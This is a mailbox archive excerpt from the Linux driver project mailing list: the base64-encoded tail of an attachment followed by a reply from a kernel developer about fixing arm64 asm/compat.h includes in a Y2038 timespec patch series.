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

--VS++wcV0S1rZb1Fb
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
devel mailing list
devel@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel

--VS++wcV0S1rZb1Fb--


From - Thu Nov 08 21:41:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [Y2038] [PATCH v4 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Tue, 13 Mar 2018 20:50:31 -0700
Lines: 118
Approved: news@gmane.org
Message-ID: <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132313.a4R8Y434%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520999321 28003 195.159.176.226 (14 Mar 2018 03:48:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 03:48:41 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Robert Richter <rric@kernel.org>, Chris Metcalf
To: kbuild test robot <lkp@intel.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 04:48:33 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evxOy-00072q-FE
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 04:48:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 0EA7A89A68;
	Wed, 14 Mar 2018 03:50:37 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 59Vu-qQ0TQsM; Wed, 14 Mar 2018 03:50:36 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 0543D89A4B;
	Wed, 14 Mar 2018 03:50:36 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 6E6241C02D4
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 03:50:34 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 6ADE089A4B
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 03:50:34 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id JBu6vq2GqsEW for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 03:50:33 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-io0-f196.google.com (mail-io0-f196.google.com
 [209.85.223.196])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 4676089A16
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 03:50:33 +0000 (UTC)
Original-Received: by mail-io0-f196.google.com with SMTP id v10so2659428iob.6
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 20:50:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=De7DfBp9nq+iusswT+uR4sgNwFi7tphHx8M1wQPclUw=;
 b=TEe9ZxQpAMWKMxCS30CwahuRIVpVH2yk6Xg6M5eUejsKs+wKtsh19oXyOa0DqC9edJ
 ubMHezaloJDwAfFKeBpnTDvWF8Z2rgIvt0EuPtUriYaEbUV5VX0qE+IO3JTpLVXxh97K
 IuFCbkvTFPcPNXJ0luh+OVw/mM6EVHga5XaLimPCuWGGX1ElwuM79RtQeOw58KPb49Y2
 wpN+ElGmZF7WN8Vw4gP40Rt7tzCRv9z0wreVuEg1LfnxMJvVvaApLT/LmP3AtAkqJvsM
 QpgH6juqLxJB7TyoCRLRWLpyZgJvJWvpRJKZcqnDoJT/Y8IlC7UPmI5bgXUclm/1X/sC
 nTsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=De7DfBp9nq+iusswT+uR4sgNwFi7tphHx8M1wQPclUw=;
 b=ApY2WHnIbqectpKVgbLF63HjxskNK2zQZpR3on8lO4bpPhcQ2mkjLsdxs61OCNmq8c
 +6/kPKS1LEFMgAxetXY3qn6JiWXc42SxqKDvEXNNareCVN9ZbcWmIoZw3Spw8qp/Ekef
 4l/80x4RgxHqxeFcgFR3Okl5q7fcuM8ACZ/VSf8qEhwC3I10iS95O5uLK4/aBwH6JuLl
 AdhU+oiHxsSFO0DJJjzqUwfmCMVgt8gn+LIor3qKPjn7mLWQPzMRdKhdugirc2vm49/p
 NAS384pN9nzS3S7D404KyPNBwSBygfpJoXwbB5xCsoGPDguto4oIfmJJwv07Er46bDZ2
 IRsQ==
X-Gm-Message-State: AElRT7H+TkfyM8LOSQRk648fk+PD76Lme3ciJIlmKP7HVefP6fZ3iHFD
 a9aT9X2oUmQ9i4fFbJHpzTqklFCCleyf8DmtpOI=
X-Google-Smtp-Source: AG47ELtg9hbQcTHkof7QB2e4EfQ2Gepf+5Sudoc7FGMsUJrFTCKEOxYqR7vVxUNTda3fQCMxn6rdfq3AhkDQLfRgE8k=
X-Received: by 10.107.147.2 with SMTP id v2mr3201343iod.198.1520999432559;
 Tue, 13 Mar 2018 20:50:32 -0700 (PDT)
Original-Received: by 10.107.232.26 with HTTP; Tue, 13 Mar 2018 20:50:31 -0700 (PDT)
In-Reply-To: <201803132313.a4R8Y434%fengguang.wu@intel.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114399 gmane.linux.ports.mips.general:64015 gmane.linux.ports.sparc:27412 gmane.linux.kernel.year-2038:2541 gmane.linux.oprofile:13167 gmane.linux.ports.parisc:28319 gmane.linux.kernel:2713131 gmane.linux.ports.ppc64.devel:154366
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114399>

The file arch/arm64/kernel/process.c needs asm/compat.h also to be
included directly since this is included conditionally from
include/compat.h. This does seem to be typical of arm64 as I was not
completely able to get rid of asm/compat.h includes for arm64 in this
series. My plan is to have separate patches to get rid of asm/compat.h
includes for the architectures that are not straight forward to keep
this series simple.
I will fix this and update the series.

-Deepa


